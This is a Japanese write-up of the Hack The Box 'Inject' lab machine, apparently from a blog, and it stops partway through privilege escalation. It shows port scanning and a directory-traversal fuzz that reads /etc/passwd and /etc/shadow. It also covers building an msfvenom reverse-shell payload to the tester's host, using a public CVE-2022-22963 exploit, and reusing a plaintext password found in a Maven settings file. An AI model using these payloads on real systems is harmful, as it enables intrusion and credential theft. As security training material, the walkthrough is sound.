【Hack The Box】Inject【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Inject___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.204 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.204:22
Open 10.10.11.204:8080
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 07:22 EDT
Initiating Ping Scan at 07:22
Scanning 10.10.11.204 [4 ports]
Completed Ping Scan at 07:22, 0.24s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:22
Completed Parallel DNS resolution of 1 host. at 07:22, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:22
Scanning 10.10.11.204 [2 ports]
Discovered open port 8080/tcp on 10.10.11.204
Discovered open port 22/tcp on 10.10.11.204
Completed SYN Stealth Scan at 07:22, 0.24s elapsed (2 total ports)
Nmap scan report for 10.10.11.204
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-03-17 07:22:16 EDT for 0s

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
ポート22、8080が公開されてそう。
実際に8080にアクセスしてみると以下のページが表示される。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c0f75208-b278-8527-8280-d09d9fccf649.png)

# Collectio
## サイト探索
### ディレクトリ探索
`dirsearch`を使用して探索を実施。
```bash
┌──(root㉿kali)-[~]
└─# dirsearch -u http://10.10.11.204:8080

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/10.10.11.204-8080/_23-03-17_07-23-22.txt

Error Log: /root/.dirsearch/logs/errors-23-03-17_07-23-22.log

Target: http://10.10.11.204:8080/

[07:23:22] Starting: 
[07:23:47] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[07:23:49] 400 -  435B  - /a%5c.aspx                                        
[07:24:18] 200 -    5KB - /blogs                                            
[07:24:29] 500 -  106B  - /error                                            
[07:24:30] 500 -  106B  - /error/                                           
[07:24:59] 200 -    6KB - /register                                         
[07:25:10] 200 -    2KB - /upload                                           
[07:25:10] 200 -    2KB - /upload/                                          
                                                                             
Task Completed
```
`upload`階層を発見。そこにアクセスしてみる。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f156df2b-f815-a2a0-00f2-b5912cf1de51.png)
色々できそうなので、今回はちょっと早いがここら辺でCollectionを終了しようと思う。

# Initial Access
## Reverse Shell
リバースシェルをアップロードしてみることにした、とりあえずELFファイルで作成する。
```bash
┌──(root㉿kali)-[~]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.95 LPORT=4444 -f elf -o reverse.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: reverse.elf
```
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9b1c0cf6-29b1-e8e0-ba8c-57b8b1e1110c.png)
アップロードしてみたものの、image fileしか受け付けませんと怒られる。
なので一旦正規な使い方を試してみて動作を確認しようと思う。

## ラミィちゃん アップロード
この可愛いラミィちゃんをアップロードする。ラミィちゃん可愛すぎか？お酒もっと飲んでけ。
![image.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/43122b4b-90f9-ec4e-2aac-f54ea8a7fe2c.jpeg)
アップロードしてみた。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7e1e6910-931c-b202-28cf-c8de974679c5.png)
イメージを見るリンクがあるので飛んでみる。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a887a4e4-3fb6-a7e4-acc1-57c49d10b7b7.png)
`img`クエリで画像を読み込んでいそう。LFIを試してみる価値ありですね。

## directory traversal attack
以下のようにペイロードリストを引っ張ってくる。
```bash
┌──(root㉿kali)-[~/work]
└─# wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Directory%20Traversal/Intruder/directory_traversal.txt
```
レッツトライ！
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./directory_traversal.txt:FUZZ -u http://10.10.11.204:8080/show_image?img=FUZZ -fc 500                         

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.204:8080/show_image?img=FUZZ
 :: Wordlist         : FUZZ: /root/work/directory_traversal.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 500
________________________________________________

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 191ms]
    * FUZZ: %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 183ms]
    * FUZZ: ../../../../../../../../etc/passwd

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 185ms]
    * FUZZ: ../../../../../../etc/passwd

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 194ms]
    * FUZZ: ../../../../../../../../../etc/passwd

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 199ms]
    * FUZZ: ../../../../../../../etc/passwd

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 251ms]
    * FUZZ: %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 181ms]
    * FUZZ: %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 184ms]
    * FUZZ: %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

[Status: 200, Size: 228, Words: 23, Lines: 10, Duration: 183ms]
    * FUZZ: ../../../../../../../../../../../../etc/hosts

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 191ms]
    * FUZZ: ../../../../../../../../../../../../etc/passwd

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 199ms]
    * FUZZ: /../../../../../../../../../../etc/passwd

[Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 195ms]
    * FUZZ: /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

[Status: 200, Size: 1345, Words: 1, Lines: 1, Duration: 206ms]
    * FUZZ: ../../../../../../../../../../../../etc/shadow

[Status: 200, Size: 1345, Words: 1, Lines: 1, Duration: 207ms]
    * FUZZ: /../../../../../../../../../../etc/shadow

[Status: 200, Size: 1345, Words: 1, Lines: 1, Duration: 193ms]
    * FUZZ: /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow

:: Progress: [140/140] :: Job [1/1] :: 13 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
```
トラバーサルできることを確認したので、実際に`/etc/passwd`の中身を確認する。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0c8f1abe-f822-9042-d98d-085a2b3b518b.png)
`frank`だったり`phil`がいるので横方向の権限昇格がありそうな予感があります。
更にこのクエリで遊んでみた。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3a7fdfd7-a08d-25e2-1a10-b0d3eb651e17.png)
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2c203336-7887-1732-600a-4eb53c4ec0c7.png)
mavenのに関するファイルが見えるので中身を確認する。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5b927e25-b266-3496-1789-4aaeee93bdd0.png)
apache-mavenでVer3.1.0のExploitがないか以下で確認してみます。

https://security.snyk.io/package/maven/org.apache.maven:apache-maven/3.1.0

特段なかった。。。
続いてxmlファイルを確認してみる。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a37ca747-b4b3-40ed-9ff7-7ff65d5610a5.png)
まぁ一番脆弱性がありそうな以下の項目に注目する（Spring4shellと同時にCloudも出てたはず...）
```xml
	<dependency>
		<groupId>org.springframework.cloud</groupId>
		<artifactId>spring-cloud-function-web</artifactId>
		<version>3.2.2</version>
	</dependency>
```
というわけで調べてみると出てきました。

https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645

公式の記事は以下です。

https://spring.io/security/cve-2022-22963

`CVE-2022-22963`をガンガン突いていこうと思います。

## CVE-2022-22963
以下のPoCを利用します。

https://github.com/lemmyz4n3771/CVE-2022-22963-PoC/blob/main/exploit.py

実際に脆弱性があるかどうかを判断するために`tcpdump`でピン確認します。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/98e19eb6-773f-68c9-5203-bf0334bda7e5.png)
Pingが帰ってきたので脆弱性があることが確認できました。
このツールを使ってReverseShellのコマンドを叩き込んでいきます。

# Persistence
御用達の以下サイトを参考にReverseShellのコマンドを作成

https://www.revshells.com/

リバースシェル確立のために受け側を用意しておく。
```bash
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444           
listening on [any] 4444 ...
```
色々と試してみると、`busybox`経由だとうまくコマンドが通った。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/be449373-1857-1e6d-fb99-233f01f3d12a.png)
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6973bef2-dee4-5ffa-8ed0-0e37eb01cd82.png)
`frank`のシェルをゲットできた。とりあえずは足場を得ることが出来たわけだ。
だけど、Userフラグはまだゲット出来てないので、横展開の足掛かりをさぐることとなる。

# Privilege Escalation - Horizontal
とりあえず、frankのシェルで気になるものがあればを調べてみる。
```bash
┌──(root㉿kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.95] from (UNKNOWN) [10.10.11.204] 33128
whoami
frank
ls -lta
total 76
drwxrwxrwt  15 root root  12288 Mar 17 12:48 tmp
drwxr-xr-x  26 root root    780 Mar 17 11:20 run
drwxr-xr-x  19 root root   4040 Mar 17 11:20 dev
dr-xr-xr-x  13 root root      0 Mar 17 11:19 sys
dr-xr-xr-x 257 root root      0 Mar 17 11:19 proc
drwx------   6 root staff  4096 Mar  6 13:15 root
drwxr-xr-x   4 root root   4096 Mar  6 11:43 boot
drwxr-xr-x 110 root root   4096 Mar  6 11:21 etc
drwxr-xr-x   4 root root   4096 Feb  1 18:38 home
drwxr-xr-x   2 root root   4096 Feb  1 18:38 mnt
drwxr-xr-x  18 root root   4096 Feb  1 18:38 .
drwxr-xr-x  18 root root   4096 Feb  1 18:38 ..
drwxr-xr-x  13 root root   4096 Feb  1 18:19 var
drwxr-xr-x   3 root root   4096 Oct 20 04:23 opt
drwx------   2 root root  16384 Apr  8  2022 lost+found
drwxr-xr-x  14 root root   4096 Feb 23  2022 usr
drwxr-xr-x   2 root root   4096 Feb 23  2022 media
drwxr-xr-x   2 root root   4096 Feb 23  2022 srv
lrwxrwxrwx   1 root root      7 Feb 23  2022 bin -> usr/bin
lrwxrwxrwx   1 root root      7 Feb 23  2022 lib -> usr/lib
lrwxrwxrwx   1 root root      9 Feb 23  2022 lib32 -> usr/lib32
lrwxrwxrwx   1 root root      9 Feb 23  2022 lib64 -> usr/lib64
lrwxrwxrwx   1 root root     10 Feb 23  2022 libx32 -> usr/libx32
lrwxrwxrwx   1 root root      8 Feb 23  2022 sbin -> usr/sbin
cd /home/frank
ls -lta
total 28
drwx------ 2 frank frank 4096 Feb  1 18:38 .m2
drwxr-xr-x 3 frank frank 4096 Feb  1 18:38 .local
drwx------ 2 frank frank 4096 Feb  1 18:38 .cache
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 4 root  root  4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root  root     9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18  2022 .bashrc
-rw-r--r-- 1 frank frank  807 Feb 25  2020 .profile
```
なにやら`.m2`の隠し階層が見つかる。この階層を調べてみる。
```bash
cd .m2
ls -lta
total 12
drwx------ 2 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 ..
-rw-r----- 1 root  frank  617 Jan 31 16:55 settings.xml
cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
```
philのクレデンシャルが発見で来たのでこの情報を使ってログインしてみる。
ちなみにSSHでのPASS入力では弾かれるので`su -`を実行する。
```bash
su - phil
DocPhillovestoInject123
ls -lta
total 16
drwxr-xr-x  6 frank frank 4096 Mar 17 12:55 frank
drwxr-xr-x  3 phil  phil  4096 Feb  1 18:38 phil
drwxr-xr-x  4 root  root  4096 Feb  1 18:38 .
drwxr-xr-x 18 root  root  4096 Feb  1 18:38 ..
cd phil
ls -lta
total 24
-rw-r----- 1 root phil   33 Mar 17 11:20 user.txt
drwx------ 2 phil phil 4096 Feb  1 18:38 .cache
drwxr-xr-x 3 phil phil 4096 Feb  1 18:38 .
drwxr-xr-x 4 root root 4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root root    9 Feb  1 07:40 .bash_history -> /dev/null
-rw-r--r-- 1 phil phil 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 phil phil  807 Feb 25  2020 .profile
whoami
phil
```
philになることが出来た。これでUserフラグゲットだぜ！！！
このシェルじゃ見にくいのでPython使ってインタラクティブシェルに変更しておきます。
```bash
python3 -c 'import pty; pty.spawn("bash")'
```


# Privilege Escalation - Vertical
## 調査
### sudo -l
とりあえず`sudo -l`で特権で使えそうなファイルやコマンドを探してみる。
```bash
phil@inject:~$ sudo -l
[sudo] password for phil: 
Sorry, user phil may not run sudo on localhost.
```
ないわ。

### linpeas
ということでlinpeas使います。Linemunよりこっち派。
以下のサイトからlinpeas.shをダウンロードしてくる。

https://github.com/carlospolop/PEASS-ng/releases

```bash
┌──(root㉿kali)-[~/work]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/download/20230312/linpeas.sh
```
実行。
```bash
phil@inject:/tmp$ chmod +x ./linpeas.sh 
phil@inject:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                     
    |         Follow on Twitter         :     @carlospolopm                           |                                                                     
    |         Respect on HTB            :     SirBroccoli                             |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |                                 Thank you!                                      |                                                                     
    \---------------------------------------------------------------------------------/                                                                     
          linpeas-ng by carlospolop                                                                                                                         
                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.                              
                                                                                                                                                            
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...


...省略

╔══════════╣ Executable files potentially added by user (limit 70)
2023-02-01+18:56:55.9583168900 /usr/local/sbin/laurel                                                                                                       
2023-01-30+14:41:13.9270845020 /usr/local/bin/ansible-parallel
2022-04-08+08:30:24.8239423570 /etc/console-setup/cached_setup_terminal.sh
2022-04-08+08:30:24.8239423570 /etc/console-setup/cached_setup_keyboard.sh
2022-04-08+08:30:24.8239423570 /etc/console-setup/cached_setup_font.sh

╔══════════╣ Unexpected in /opt (usually empty)
total 12                                                                                                                                                    
drwxr-xr-x  3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 18 root root 4096 Feb  1 18:38 ..
drwxr-xr-x  3 root root 4096 Oct 20 04:23 automation

╔══════════╣ Unexpected in root

...省略
```
`/opt`配下に何やらディレクトリがあるのが確認できる。
もう少し情報を収集する。

### pspy
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

https://github.com/DominicBreuker/pspy

```bash
┌──(root㉿kali)-[~/work]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64  
```
実行する。
```bash
phil@inject:/tmp$ chmod +x ./pspy64 
phil@inject:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/03/17 13:24:32 CMD: UID=0     PID=23786  | /lib/systemd/systemd-udevd 
2023/03/17 13:24:32 CMD: UID=1001  PID=23779  | ./pspy64 
2023/03/17 13:24:32 CMD: UID=1001  PID=23616  | -bash 
2023/03/17 13:24:32 CMD: UID=0     PID=23613  | su - phil 
2023/03/17 13:24:32 CMD: UID=0     PID=23486  | 
2023/03/17 13:24:32 CMD: UID=0     PID=22695  | 
2023/03/17 13:24:32 CMD: UID=0     PID=22160  | 
2023/03/17 13:24:32 CMD: UID=0     PID=21900  |                                   
2023/03/17 13:24:32 CMD: UID=0     PID=21622  | 

...省略
2023/03/17 13:27:49 CMD: UID=0     PID=23858  | sshd: [accepted]     
2023/03/17 13:27:49 CMD: UID=113   PID=23859  | sshd: [net]          
2023/03/17 13:27:56 CMD: UID=0     PID=23862  | sshd: [accepted]     
2023/03/17 13:27:56 CMD: UID=0     PID=23861  | sshd: [accepted]     
2023/03/17 13:27:56 CMD: UID=0     PID=23864  | sshd: [accepted]     
2023/03/17 13:27:56 CMD: UID=113   PID=23865  | sshd: [net]          
2023/03/17 13:27:56 CMD: UID=0     PID=23866  | /usr/sbin/sshd -D -R 
2023/03/17 13:27:57 CMD: UID=113   PID=23867  | sshd: [net]          
2023/03/17 13:27:57 CMD: UID=0     PID=23868  | sshd: [accepted]     
2023/03/17 13:27:57 CMD: UID=113   PID=23869  | sshd: [net]          
2023/03/17 13:27:57 CMD: UID=113   PID=23871  | sshd: [net]          
2023/03/17 13:27:57 CMD: UID=0     PID=23870  | sshd: [accepted]     
2023/03/17 13:27:57 CMD: UID=0     PID=23872  | /usr/sbin/sshd -D -R 
2023/03/17 13:27:57 CMD: UID=113   PID=23873  | sshd: [net]          
2023/03/17 13:27:57 CMD: UID=0     PID=23874  | /usr/sbin/sshd -D -R 
2023/03/17 13:27:58 CMD: UID=113   PID=23875  | sshd: [net]          
2023/03/17 13:28:01 CMD: UID=0     PID=23881  | sleep 10 
2023/03/17 13:28:01 CMD: UID=0     PID=23880  | /usr/sbin/CRON -f 
2023/03/17 13:28:01 CMD: UID=0     PID=23879  | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/                                                                                                                                               
2023/03/17 13:28:01 CMD: UID=0     PID=23878  | /usr/sbin/CRON -f 
2023/03/17 13:28:01 CMD: UID=0     PID=23877  | /usr/sbin/CRON -f 
2023/03/17 13:28:01 CMD: UID=0     PID=23876  | /usr/sbin/CRON -f 
2023/03/17 13:28:02 CMD: UID=0     PID=23884  | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml 
2023/03/17 13:28:02 CMD: UID=0     PID=23883  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
2023/03/17 13:28:02 CMD: UID=0     PID=23885  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/03/17 13:28:02 CMD: UID=0     PID=23887  | /bin/sh /sbin/ldconfig -p 
2023/03/17 13:28:02 CMD: UID=0     PID=23888  | 
2023/03/17 13:28:02 CMD: UID=0     PID=23889  | 
2023/03/17 13:28:02 CMD: UID=0     PID=23891  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/03/17 13:28:02 CMD: UID=0     PID=23892  | 
2023/03/17 13:28:02 CMD: UID=0     PID=23893  | /bin/sh -c echo ~root && sleep 0 
2023/03/17 13:28:02 CMD: UID=0     PID=23894  | /bin/sh -c echo ~root && sleep 0 
2023/03/17 13:28:02 CMD: UID=0     PID=23895  | 
2023/03/17 13:28:02 CMD: UID=0     PID=23896  | /bin/sh -c ( umask 77 && mkdir -p "` echo /root/.ansible/tmp `"&& mkdir "` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" && echo ansible-tmp-1679059682.9278324-23891-183458739308708="` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" ) && sleep 0                                                                                                             
2023/03/17 13:28:02 CMD: UID=0     PID=23899  | /bin/sh -c ( umask 77 && mkdir -p "` echo /root/.ansible/tmp `"&& mkdir "` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" && echo ansible-tmp-1679059682.9278324-23891-183458739308708="` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" ) && sleep 0                                                                                                             
2023/03/17 13:28:02 CMD: UID=0     PID=23897  | /bin/sh -c ( umask 77 && mkdir -p "` echo /root/.ansible/tmp `"&& mkdir "` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" && echo ansible-tmp-1679059682.9278324-23891-183458739308708="` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" ) && sleep 0                                                                                                             
2023/03/17 13:28:02 CMD: UID=0     PID=23901  | mkdir /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 
2023/03/17 13:28:02 CMD: UID=0     PID=23902  | /bin/sh -c ( umask 77 && mkdir -p "` echo /root/.ansible/tmp `"&& mkdir "` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" && echo ansible-tmp-1679059682.9278324-23891-183458739308708="` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" ) && sleep 0                                                                                                             
2023/03/17 13:28:02 CMD: UID=0     PID=23903  | /bin/sh -c ( umask 77 && mkdir -p "` echo /root/.ansible/tmp `"&& mkdir "` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" && echo ansible-tmp-1679059682.9278324-23891-183458739308708="` echo /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708 `" ) && sleep 0                                                                                                             
2023/03/17 13:28:03 CMD: UID=0     PID=23904  | 
2023/03/17 13:28:03 CMD: UID=0     PID=23905  | /bin/sh -c /bin/sh -c 'chmod u+x /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/ /root/.ansible/tmp/ansible-tmp-1679059682.9278324-23891-183458739308708/AnsiballZ_setup.py && sleep 0'                                                        
